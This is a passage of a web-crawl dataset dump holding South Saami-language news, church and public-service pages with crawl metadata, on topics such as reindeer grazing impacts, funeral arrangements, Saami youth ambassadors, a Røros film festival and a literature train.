bïjre voestes åestijinie årrodh. Fylhkenålma lea lissine klååkemesuerkie aamhtesninie gusnie byögkelesvoete privaate eekem åådtje soejkesje- jïh bïgkemelaaken mietie (ekspropriasjovne). Tjïelte dagkerh såarhts klååkoeh voestegh gïetede. Dastegh tjïelte ij leah sïemes klååkijinie, dle aamhtese Fylhkenålmese seedtesåvva akten minngemosth sjæjsjalæmman.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.fylkesmannen.no\/sma\/More-jih-Romsdalen\/Soejkesje-jih-bigkeme\/Arealereereme\/","date":"2020-07-16T03:52:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657181335.85\/warc\/CC-MAIN-20200716021527-20200716051527-00597.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":159,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skilkemedahkoeh båatsoedajvine leah tjarke læssanamme dej minngemes luhkiejaepiej. Daate goerehtimmie taalh vadta guktie gåetieh jïh infrastruktuvre båatsoedajvi gåatomem tsevtsieh jïh leah joekedamme jaepieboelhki gåatomelaantide jïh juhtemegeajnojde.\nVuekie sæjhta jiehtedh aktem tsevtsemedajvem gåetiej jïh infrastruktuvren bïjre aerviedidh, dan daajroen mietie man stoerre dajvi bïjre bovtse reava akten fysiske skilkemen bïjre, daate sæjhta jiehtedh bovtse åtnoem dajvijste giehpede. Dotkeme vuesehte dajve gusnie bovtse tsavtseme sjædta maahta joekehts stoeredahkem utnedh dejtie ovmessie såarhts skilkemedahkojde eatnamisnie, goh gåetieh, geajnoeh, høyspentledningh, tjaetsiefaamoevierhkieh, bïegketurbijnh, gruvah jïh vielie. Maahta aerviedimmide toelhkestidh goh dïhte ållesth illedahke (kumulatijve effekte) gaajhke såarhts fysiske tsevtsiemijstie. Tsevtseme turismeste ij leah meatan daatavåaroemisnie daan goerehtæmman.\nIlledahkh vuesiehtieh man stoerre prosentelåhkoe gåatoemistie mij lea tsavtseme gaajhkesåarhts skilkemedahkojste, jïh aerviedimmie lea tjïrrehtamme joekehts gåhkaldahkigujmie skilkemedahkose, ryöknedamme elmien tjïrrh. Akten 5 kilomeeterh guhkies dajven sisnjelen gåetijste jïh infrastruktuvreste, guktie lea daesnie gaertjiedamme, medtie 89 prosenth abpe jaepieboelhkegåatoemistie jïh juhtemegeajnojste leah tsavtseme skilkemedahkojste. Jalhts aerviedimmieh sån maehtieh vuesiehtidh gåatomedajvh, joekoen gïjregåatome, tsavtseme sjædta dan gåhkese goh 5 kilomeeterh skilkemedahkoste, ij badth sïjhth jiehtedh dajve lea beajsteme goh gåatome jïh maahta åtnose vaeltedh jeatjah åssjelidie.\nGoerehtimmie tsevtsiemistie jaepieboelhkegåatoemistie lea aktanamme daatajgujmie Byjresedirektoraateste jarkelimmien bïjre skilkemefrijje eatnemedajvine (INON) jaepien 1988 raejeste 2013 raajan. Daan boelhken låhkoe skilkemefrijje jaepieboelhkegåatoemistie geahpani medtie bielie – bieliemubpie prosentepoengine.\nVuekie juktie tsevtsemem jaepieboelhkegåatoemistie aerviedidh maahta nuhteligs årrodh areaalesoejkesjimmesne jïh konsekvensesalkehtimmine (KS) dennie soejkesjamme\nbigkemisnie båatsoedajvine. KS:n bïhkedæjja båatsose tjïerteste daerpies aktine ellies vuarjasjimmine båatsoen aerpievuekien dajveåtnoste man bïjre lea, aaj båatsoen laejhtehks faktovrh jïh ektiedimmie dej gaskem, jïh KS edtja dejtie tjåenghkies effektide skilkemedahkojste tjïelkestidh (kumulatijve effekte).\nTaalh areaaletsevtiemasse, båatsoen aerpievuekien daajrojne ektine gåatomedajvi bïjre, byöroe åtnasovvedh goh bielie daajroevåaroemistie juktie båatsoen areaalh gorredidh, akte vihkeles krïevenasse juktie båatsoem tjåadtjoehtidh jïh Nöörjen nasjonaale jïh gaskenasjonaale åeliedimmieh bæjjese fulkedh juktie saemien kultuvren materijelle våaromem gorredidh.","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/samilogutmuitalit.no\/smj\/node\/4095","date":"2020-07-09T01:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655897844.44\/warc\/CC-MAIN-20200709002952-20200709032952-00277.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":100,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":284,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juvlemebyjråe jïh gærhkoe dåarjojne\nGosse lïhkesadtje sealade dellie jieleme jeatjhlaakan sjædta. Dovne juvlemebyjråe jïh åålmege desnie datnem edtja dåarjodh jïh viehkiehtidh. Dïhte buerie aelkedh juvlemebyjråem bïeljelidh. Dïhte datnem viehkehte. Juvlemebyjråe viehkehte åålmegasse bïeljelidh jïh juvlemesijjiem jïh hearram dængkodh. Jis datne sïjhth hearram juvlemisnie utnedh gie maahta saemiestidh jallh guektien gïelen hearram utnedh edtjh dam juvlemebyjråese jallh dov åålmegasse jiehtedh juvlemen åvtelen.\nJuvlemebyjråem lea dovres dængkodh jïh dah lïhkesadtjh maehtieh jïjtjh nænnoestidh jis sijhtieh dejstie viehkiem utnedh. Juvlemegyrhkesjimmie hearrine jïh gærhkoen tjïelth namhtah jis åemehke lij lïhtsege Sveerjen gærhkosne.\nAalkoebarkoe juvlemen åvtelen\nGosse juvlemem, gærhkoem jallh gærhketjem dængkome dellie hearra lïhkesadtjide bïeljele. Hijven gåetesne jallh gærhkoen sijjesne tjåanghkenidh juvlemem soejkesjidh. Vihkeles hearra åådtje jeenem daejredh åemehken bïjre jïh mij vaajtelasside lïhkesadtjh juvlemen bïjre utnieh. Ektesne soptsestalledh guktie juvleme edtja årrodh jïh åemehken jieleden jïh sealadimmien bïjre soptsestalledh.\nKroeptem bueriesjugniedidh\nJuvleme nuepiem vadta ektesne sårkodh, gijhtedh jïh gåvnahtehtedh. Musihke, laavlomh jïh rohkelassh leah vyörtegs jïh soelkedsvoetine åemehkem Jupmelen gïetide vedtedh. Jis dah lïhkesadtjh veeljeme kremeeredh dellie abpe juvlemegyrhkesjimmie gærhkosne jallh gærhketjisnie. Jis dah lïhkesadtjh gæstoejuvlemem veeljeme maahta gyrhkesjimmien minngiegietjesne ektesne kroeptese vaedtsedh jïh gæstoem kroepten sïjse badtehtidh.\nMuvhten aejkien åemehkem sjïere sjïekenistie joe juvlemen åvtelen kreemereme jïh dan gaavhtan govnelihtiem juvlemisnie utnieh.\nLihtiem maehtieh eatnemen sïjse juvlemegyrhkesjimmien minngiegietjesne badtehtidh. Laaken mietie juvleme edtja årrodh asken mænngan sealadamme. Gosse kremeereme govnem eatnemen sïjse juvlemen mænngan badtehte minngiemost jaepien kremeeremen mænngan.\nMojhtesetjåanghkoe\nGaajhke baeliem åtna, gaajhke mij elmien nuelesne, jijtse biejjiem åtna.Predikaren 3:1\nJuvlemegyrhkesjimmien mænngan buerie prïhtjegasse tjåanghkenidh åålmegesavkesne jallh lïhkesadtji gåetesne. Mojhtesetjåanghkosne nuepie voelph jïh fuelhkieh ektesne åemehkemmåjhtajehtedh. Jis dah lïhkesadtjh sijhtieh hearra galka mojhtesetjåanghkosne meatan årrodh dellie hijven jis dam juvlemen åvtelen soptseste. Jeenjemes åålmegesavkah maehtieh namhtah mojhtesetjåanghkose dængkodh. Beapmoeh maehtieh juvlemebyjråen jallh åålmegen tjïrrh dængkodh.\nJuvlemen mænngan\nGellie sårkojh dååjrehtieh geervemes tïjje juvlemen mænngan båata.Ohtselimmie. Åålmegen hearrah jïh diakovnh dov baalte sårkosne gååvnesieh. Gellie åålmegh sårkoedåehkieh utnieh. Sårkoedåehkine maahta dååjrehtimmieh juekedh jaememen, ohtselimmiem jïh domtesi bïjre mubpiejgujmie gïeh aaj sårkosne. Ij oktegh daarpesjh aktemieresne årrodh.\nBïevnesh juvlemen bïjre\nGuktie juvlemem Sveerjesne öörnedh?\nMij lea juvlememaaksoe jïh mijdïsse?\nLohkh vielie juvlemen bïjre daesnie.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.svenskakyrkan.se\/jaememe-jih-juvleme","date":"2020-07-08T23:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655897707.23\/warc\/CC-MAIN-20200708211828-20200709001828-00088.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":340,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis sïjhth tsïegline sjïdtedh skuvlejaapan 2020\/2021 tjoerh ohtsemegoerem dievhtedh ruffien 1. b. åvtelen. Mijjieh gaskesadtebe ohtsijigujmie jïh gïhtjehtæmman gåhtjobe.\nLohkh maam Sandra Márjá West sov tsïeglejaepien bïjre soptseste\nGuktie lij dov jaepie goh tsïegle?\nTsïeglejaepie lij akte lustes jaepie, manne åadtjoejim abpe Nöörjesne fealadidh jïh hijvenlaakan mov barkoevoelpigujmie åahpenim. Lustemes EN:sne årrodh New Yorkesne. Desnie åadtjoejim jeatjah aalkoealmetjenoerh gaavnedidh, jïh dej kultuvrine, ïedtjigujmie jïh raeriejgujmie åahpenidh.\nMaam daelie darjoeh?\nDaelie leam Riddu Riđđu-festivaalen åvtehke. Manne aaj saemiedigkietjirkije.\nMaam Tsïeglejaepie dutnjien vadteme?\nManne jïjnjem lïerim mij lea stoerre nåhtojne orreme munnjien, aaj dennie barkosne maam daelie åtna. Manne jïjnjem lïerim saemien histovrijen jïh kultuvren bïjre, jïh manne sïjhtem gaajhkesidie juvnehtidh lohkedh FORMI-1 juktie hijven maadthdaajroem åadtjodh. Manne lïerim åehpiedehtedh jïh soptsestidh stoerre dåehkide. Manne aaj jïjnjem lïerim soejkesjimmien bïjre, juktie akte stoerre bielie Tsïegleöörnegistie lea soejkesjidh dovne åehpiedehtemh jïh vuelkemh. Lissine jïjnjem lïerim guktie dovne saemien jïh nöörjen siebriedahke juhtieh. Daate jaepie lij dïhte fåantoe man åvteste manne eelkim pryöjjadidh siebriedahken bïjre jïh guktie manne sïjhtim politihkerinie sjïdtedh.\nSandra Márjá West lij tsïegle skuvlejaepien 2012-2013.\nSkuvlejaepie goh saemien tsïegle\nTsïeglh leah learohkh Saemien jïlleskuvlesne Guovdageaidnusne. Skuvlen akte sjïere byjrese nænnoes faagealmetjigujmie jïh vierhtiejgujmie, jïh daesnie noerhtesaemien biejjieladtje gïele.\nTsïeglh faagem Saemien kultuvre- jïh siebriedahkedaajroe vaeltieh skuvlejaepesne, akte intensijve kuvsje mij 30 studijepoengh vadta. Gosse håaloeminie minnieh dellie lissine 30 studijepoengh åadtjoeh, guktie aktem ellies lohkemejaepiem åadtjoeh.\nGoh tsïegle tjoerh ryöjredidh jïjnje fealadimmie sjædta, joekoen gïjreboelhken. Tsïeglh göökti göökti vuelkieh jïh ektesne håalomem hööltieh. Datne jïjnjem haarjanimmiem åadtjoeh åehpiedehtemh darjodh jïh smaave jïh stoerre åålmegekrirride soptsestidh.\nBeetnehvierhtiedåarjoe\nNjieljie stipendh vadtasuvvieh 213 000 kråvnaj raajan skuvlejaapan 2018\/2019. Daah tsïeglestipendh vadtasuvvieh saemien noeride mah jïjtjemse åeliedieh aktem jaepiem mïnnedh bïevnesebarkojne gïehtelidh goh sijjen barkoe. Lissine vuelkemen jïh årromen åvteste maeksebe.\nMij krïevesåvva tsïegline sjïdtedh\nUvtemes tjoerh lastoem utnedh noerigujmie soptsestidh abpe laantesne – jïh dejtie vielie lïerehtidh saemien siebriedahken bïjre. Mijjieh joekoen tjïertestibie tsïegle lea eadtjohke, væjkele laavenjostedh, maahta soptsestidh jïh lea sjugniedihks.\nDatne tjoerh jïjtsistie vedtedh – doestedh soptsestidh guktie datne dov saemien maadtoem jïh aarkebiejjiem dååjrh, jïh datne sïjhth joekoen våajnoes sjïdtedh sosijaale meedijinie.\nDatne byörh sïejhme lohkememaahtoem utnedh, ih båarasåbpoe årrodh goh 25 jaepieh, jïh akte aevhkie jis dov lea vuejemeleahpa. Mijjieh sjyöhtehke ohtsijh gïhtjehtæmman\/pryövose (audition) gåhtjobe.\nMaam aajmene åtnah mænngan?\nTsïeglh aktem fuehpies skuvlejaepiem åadtjoeh maam eah gåessie gih sïjhth åajaldidh, jïjnje daajrojne jïh dååjrehtimmine mejtie ij jallan gåaredh jeatjahlaakan vejtiestidh. Sæjhta hijven sjïdtedh dam barkoem CV:sne utnedh, jïh daate aktem maahtoem vadta maam båetijen aejkien barkoevedtijh lyjhkoeh.\nLissine daajrah datne aktem joekoen hijven barkoem dorjeme juktie daajroenjieptjiem saemiej bïjre lissiehtidh joekoen gellie noeride, mestie vaenebh vaanesovmh jïh vaenebe irhkeme sjædta.\nVuartesjh man åvteste Vanja sïjhti Saemien tsïegline sjïdtedh\nVanja Tørresdal (21) Trööndelagesne lij Saemien tsïegle skuvlejaepien 2018\/2019. Lohkh vielie Vanjan bïjre daesnie.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samiskeveivisere.no\/sma\/guktie-lea-tsiegline-arrodh\/","date":"2020-07-09T14:42:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655900335.76\/warc\/CC-MAIN-20200709131554-20200709161554-00120.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":440,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Don våhkoen fïlmhfestivaale man nomme «Raasten Rastah: filmh» Plassjesne öörnesovvi. Gåabpatjahkh Stig Eebre Somby jïh Thomas Ole Andersen lægan Aajegisnie barkeminie jïh dah guaktah lægan filmhfestivaalem stealladamme. Juktie daate voestes aejkien Raasten Rastah filmh-festivaale lea öörnesovveme jïh dan gavhtan Thomas Ole jïh Stig Eebrie jiehtiejægan luste vuejnedh dan soe gellie almetjh diekie böötin.\nDah guaktah jiehtiejægan tuhtjidh lij stoerre programme, jeenje deahpadi jïh tuhtjidh nov gujht hijven gåeredi. Juktie gellie almetjh v.g. Filmhfestivaalen rïhpestæmman, fïlmh-aeredsbeapmose jïh Sööfe-raajrose böötin.\n-Mijjieh sïjhtimh jienebh almetjh Plassjen dajveste aaj filmhfestivaalese mïnnin, mohte læjhkan mijjieh libie geerjene filmhfestivaalen åvteste, Thomas Ole jeahta.\nDah guaktah aaj jiehtiejægan filmh leah dagkeres nænnoes meedija. Jiehtiejægan sïjhtidh dejnie filmhfestivaaline vuesiehtidh ibie daarpesjh naa stoerre barkoe darjodh. V.g. Dah Gïeleviehkieh vuesiehtieh guktie lea vihkeles fïlmine barkedh jïh guktie fïlmh almetjidie dijpieh.\n-Mijjieh aaj noere-workshoppem utnimh jïh tuhtjimh dej fïlme lij buerie kvaliteete jïh lij luste vuejnedh. Juktie dah noerh vuesiehtieh gåerede saemiengïelesne fïlmigujmie barkedh. Tuhtjebe aaj gaajh vihkeles noerigujmie barkedh. V.g. Dah noerh åadtjoejin kafeesne barkedh jïh aaj fïlmem darjodh, Stig Eebre Somby jeahta.\nFilmhfestivaalen åvtelen Stig Eebre Somby aaj buerkeste mannasinie tuhtjie daate filmhfestivaale daerpies jïh vihkeles lea:\n-Voestegh lea vihkeles juktie lea dan vaenie råakedimmiesijjieh saemide. Dan åvteste gaajh vihkeles festivaalh jïh jeatjah areenah stealladidh. Daate aaj lea vihkeles juktie tjoerebe jallh daarpesjibie mijjen histovrijem orrestidh jallh ikth vielie tjaeledh, juktie ibie mijjieh daam tjaaleme. Daate saemien filmh-festivaale lea vuekie gumhtie maehtebe aaj mijjen histovrijen bïjre soptsestidh jïh vuesiehtidh mijjieh ennje daesnie. Juktie lea naa jïjnjh histovrije mijjen dajveste mij ij leah ennje filmen tjïrrh soptsestovveme. Sïjhtem aaj mijjen åarjelsaemien dajvem jïh kultuvrem filmen tjïrrh vuesiehtidh, Stig Eebre Somby jeahta.\nBåetije jaepien dellie festivaale Raasten Rastah edtja Plassjesne öörnesovvedh. Thomas Ole jïh Stig Eebrie jiehtiejægan sijhtiejægan Raastan Rastah:filmh aaj edtja mubpien jaepien årrodh. V.g. Don jaepien Raasten Rastah öörnesovvi, daan jaepien Raasten Rastah: filmh öörnesovvi, båetije jaepien Raasten Rastah öörnesåvva jïh jaepien 2021 Raasten Rastah: filmh bist edtja öörnesovvedh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/raasten-rastah-filmh-tuhtjebe-luste-dan-gellie-almetjh-diekie-bootin\/","date":"2020-07-03T20:09:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00136.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":320,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rahkan 7.-10.b. 2019 dle saemien filmefestivaale Røros Kino:sne sjædta: \"Raasten rastah: Filmh\". Festivaale dïeves saemien- jïh jeatjah aalkoealmetjifilmijste. Juktie mijjieh åarjelsaemien dajvesne, dle sjïere fokuse åarjelsaemien filmide.\nÅarjelsaemien learohkh mejtie 10.klassesne noereskuvlesne lohkeminie aaj daam festivaalem dåeriedieh. Raasten Rastah filmhfestivaalen doekoe dah learohkh edtjieh kafeem öörnedh jïh beapmoeh jïh jovhkemesh doekedh. Dah learohkh jiehtieh tuhtjieh öövre luste dam kafeem öörnedh jïh aaj aavoedieh naanh filmh vuartasjidh. Dah learohkh aaj jiehtieh aavodieh goske maehtieh Sööfe-seeriem vuartasjidh.\nDah learohkh mejtie edtjieh dam kafeem öörnedh leah Sanna Granefjell, Ellinor Bransfjell, Naimi Bransfjell Mattis Haugom Nordfjell jïh Lukas Gaebpien Jensen.\n-Manne tuhtjem joekoen hijven mijjieh åadtjobe daennie filmhfestivaalesne barkedh jïh kafeem öörnedh, learohke Naimi Bransfjell jeahta.\nHilde Danielsen lea eejtege jïh aaj Raasten Rastah moenehtsisnie barka. Satne jeahta vihkeles noerigujmie barkedh juktie dah maehtieh laavenjostedh. Juktie lij Raasten Rastah moenehtse maam noeride gihtji jis sïjhtin dåeriedidh kaafeem öörnedh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/2019\/11\/08\/","date":"2020-07-03T21:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00136.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":143,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Håkon Mudenia\n24 jaepie, Deatnu\nHeejja! Mov nomme Håkon Mudenia jïh leam akte 23 jaepien båeries baernie Deatnuste Finnmaarhkesne! Gåetesne Deatnusne leam dej minngemes jaepiej lohkehtæjjine barkeme maana- jïh noereskuvlesne. Åvtelen eelkim lohkehtæjjine barkedh leam vaarjelimmesne…Lohkh vielie\nAina Haugom Nordfjell\n24 jaepie, Plassje\nMov nomme Aina Haugom Nordfjell jïh leam 24 jaepien båeries. Manne Røroseste båatam gusnie abpe maana- jïh noereskuvlem veedtsim, jïh aaj jåarhkeskuvlem åvtelen eajhnadovvim maam akt orre pryövedh. Noerhte-Nöörje lij akte laantebielie mïsse…Lohkh vielie\nMaila Risten Bongo Dikkanen\n20 jaepie, Unjárga\nMov nomme Maila Risten Bongo Dikkanen jïh leam 19 jaepien båeries. Manne byjjenamme Unjárgesne, gusnie aaj maadthskuvlem illim. Jåarhkeskuvlen mænngan Vadsøesne manne Guovdageaidnuse juhtim juktie jaepielohkemem saemiengïelesne lohkedh Saemien…Lohkh vielie\nInga Solberg Åhren\n19 jaepie, Romsa\nMov nomme Inga Maret Solberg Åhrén jïh leam 19 jaepien båeries. Manne reakadamme jïh byjjenamme Romsesne, men maanabaelien leam Guovdageaidnusne orreme jïh såemies boelhkh aaj internaatesne Snåasesne. Daelie Kongsbakken jåarhkeskuvlem illeme…Lohkh vielie","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samiskeveivisere.no\/sma\/daan-jaepien-tsieglh\/","date":"2020-07-09T14:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655900335.76\/warc\/CC-MAIN-20200709131554-20200709161554-00152.warc.gz","language":"sma","language_score":0.9998605251,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998605251312256}","num_words":144,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie gïelevåhkoe riejries jïh joekoen hijven våhkoe orreme. Gïelevåhkoen doekoe gellieh almetjh gaajhkede lehkeste leah viehkiehtamme gïelide lutnjedh. Daennie dajvesne aaj jeenje heannadamme jïh iktedæjja åarjelsaemien reeremedajvesne, Ida Marie Bransfjell, jeahta ahte Gïelevåhkoe öövre vihkeles orreme åarjelsaemiengïelem jïh kultuvrem lutnjedh.\n-Gïelevåhkoen mænngan mijjieh libie buerie moenedimmieh åådtjeme. Dah moenedimmieh vuesiehtieh ahte almetjh sïjhtieh vielie dagkerh öörnemh utnedh. Kaanne maehtebe vielie dagkerh gïelevåhkoeh öörnedh, juktie gaajhkesh dovnesh sïjhtieh dam öörneme utnedh, iktedæjja åarjelsaemien reeremedajvesne, Ida Marie Bransfjell jeahta.\nIda Marie aaj jeahta vihkeles ektesne Gïelevåhkoen bïjre barkedh. Jeahta vihkeles raasten rastah ektesne barkedh, juktie saemieh leah njieljie ovmessieh laantine. Bransfjell aaj jeahta båetije biejjide sæjhta v.g. vielie ektine dej saemiejgujmie Sveerjeste barkedh.\n-Juktie Gïelevåhkoe lij dagkeres nasjovnaale ektiebarkoe jïh manne håhkesjem mijjieh maehtebe sinsitneste lïeredh. Minngeben aejkien håhkesjem jeenebh almetjh mejtie eah leah saemieh aaj sïjhtieh vielie viehkiehtidh mijjen gïelem jïh kultuvrem lutnjedh. Mohte tuhtjem Gïelevåhkoe lij hijven aalkoe mij maehtebe vielie båetije jaepide barkedh, Ida Marie Bransfjell jeahta.\nIda Marie aaj jeahta gaajhkesh dovnesh siebriedahkesne joekoen dïedte utnieh saemiengïelem jïh kultuvrem lutnjedh. Gïelevåhkoe lij joekoen hijven juktie dillie åadtjoejimh saemiengïelide fïerhten biejjien vuejnedh, govledh jïh lohkedh. Ida Marie aaj jeahta tuhtjie vihkeles ahte maanah jïh noerh åadtjoeh dej gïelh soptsestidh. Jïh ahte stoerre-siebriedahke vuesehte lea vihkeles gïelide lutnjedh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/2019\/10\/29\/","date":"2020-07-03T18:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00168.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":208,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JARKOESTÆJJA: ELLEN BULL JONASSEN\nRedaktööre Anne Berit Anti dam jeahta.\nDïhte gaajhkesidie haasta mah saemien siebriedahken jïh saemien gïelen åvteste gæmhpoeh gaskesadtedh. Jis åarjelsaemien njaalmeldh jallh tjaaleldh maahtah dellie dïhte joekoen hijven.\n–Men jis ih gïelem maehtieh, maahtah læjhkan gaskesem vaeltedh juktie mijjen akte væjkele jarkoestæjja. Mijjieh maaje datnine soptsestibie saaht guktie. Jis ih journalisteles dååjrehtimmiem utnieh jïh tuhtjh geerve tjaeledh, manne maaje dutnjien båatam jïh datnem dejtie ellen vihkielommes aatide lïerehtem jïh datnem ahkedh viehkiem vadtam, Anti jeahta.\n–Gaskesadth\nSÁMi Ođasmagasiidna dovne nöörjen jïh åarjelsaemien tjaala paehperelåhkosne jïh nedtesne. Nedtesne aaj sïjhth nöörjen tjaalegh gaavnedh. Mijjieh aaj videovh åarjelsaemien gïelesne bæjhkoehtibie gosse naaken saemiestieh gihtjehtimmesne.\n–Dan jïjnje gieltege mij Åarjel-Saepmesne heannede jïh mijjieh sïjhtebe årrodh desnie gusnie heannede. Mijjieh aktem joekoen stoerre evtiedimmiem gïelesne vuejnebe jïh stoerre jaahkoem utnebe båetijen aajkan. Goske mijjieh gaavneme aktem jallh maaje jienebh mah dajveste tjaelieh, tjoerede maaje mijjese saarnodh mij heannede. Manne gidtjh tjahkesjeminie soejkesjeminie åarjene mïnnedh aktem våhkoem, juktie reportasjh darjodh. Jis datne dan åvtelen lih ussjedamme datne sïjhth mijjen åvteste tjaeledh maehtebe aktem våhkoem reportasjigujmie barkedh jïh lïerehtimmiem utnedh, Anti jeahta.\nMaahtah gaskesem vaeltedh SÁMi Ođasmagasiidnine jis dov leah tipsh jallh ïedtje pryövedh journalistine årrodh. Seedth maaje e-påastem redaktöörese email@example.com. juktie vielie dan bïjre soptsestidh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/sijhth-sami-odasmagasiidnan-avteste-tjaeledh\/","date":"2020-07-03T10:08:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655881984.34\/warc\/CC-MAIN-20200703091148-20200703121148-00016.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":204,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lidteratuvretååge ruevtiegeajnosne\n- Im maehtieh mov uvte vuejnedh aktem jieledem bielelen gærjah. Daan biejjien H.K.H. Kronprinsessa sov lidteræære feelemem eelki Nordlandsbanesne. Daan sjïekenisnie Gånkavåågne lea dïeves gærjijste, jïh Lidteratuvretååge edtja Bådåddjon luvhtie vuejedh Skierden gåajkoe.\nGaajhke daate perrongesne Bådåddjosne eelki tsåahka 08.00 daan aereden.\n- Im maehtieh mov uvte vuejnedh aktem jieledem bielelen gærjah, Kronprinsessa sov rïhpestimmiehåalemisnie soptsesti. Maanabaelien raejeste dle naaken munnjien lohkeme, jïh manne nuepiem åådtjeme dan tjiehtjielasse tjaangedh gusnie fantasije jeala. Åadtjodh lohkedh, doh sisnjeles guvvieh mah sjugniesuvvieh gosse lohkeminie, doh domtesh mah jijhtieh – leah mannem dovne buerebe, vijsiesåbpoe jïh vielie ussjedihks almetjinie dorjeme.\nDaennie feelemisnie Kronprinsessa sæjhta sov lohkeme-aavoem jïh sov bööremes gærjadååjresh juekedh- jïh mubpide skreejrehtidh sijjen dååjresh juekedh.\n#Maanalidteratuvre\nMaanalidteratuvre lij aamhtese gosse Lidteratuvretååge Fausken gåajkoe bööti. Perrongesne golme maanah mah sïjhtin sijjen tjaebpemes gærjah juekedh. Doh luhkiegöökten jaepien båeries maanah Kristine, Eirik jïh Hanne lin veeljeme \"Hei det er meg!\", \"Jada Jada\" jïh Astrid Lindgrenen \"Mio min Mio\".\nKronprinsessa lohki aktede dejstie Lindgrenen mubpijste klassihkerijstie, Brødrene Løvehjerte, jïh soptsesti guktie satne gærjide vuartasji gosse lij maana:\n- Gosse lim onne dellie aktene jïjtse veartenisnie veasjoejim. Ij maanagiertesne, jallh skuvlesne, men mov åejjien sisnie.\nJiekie Melker, Tommy jïh Annika, Pippi, Mormor, gaektsie maanah jïh Aurora lin gaajhkesh åehpies gaagkoeh Kronprinsessan veartenisnie. Men- ellen daamtajommes dle mov bööremes voelpe lij Knerten, jïh mov lij akte stoerrevïelle mij skuvlesne veedtsi jïh akte tjidtjie mij eelki aktene bovresne barkedh. Mov rïektes tjidtjie lea iktesth dïhte vihkielommes almetje orreme mov jieliedisnie, dïhte mannem meatan veelti gærjaj veartenen sïjse.\nGærjagåetievåågnesne 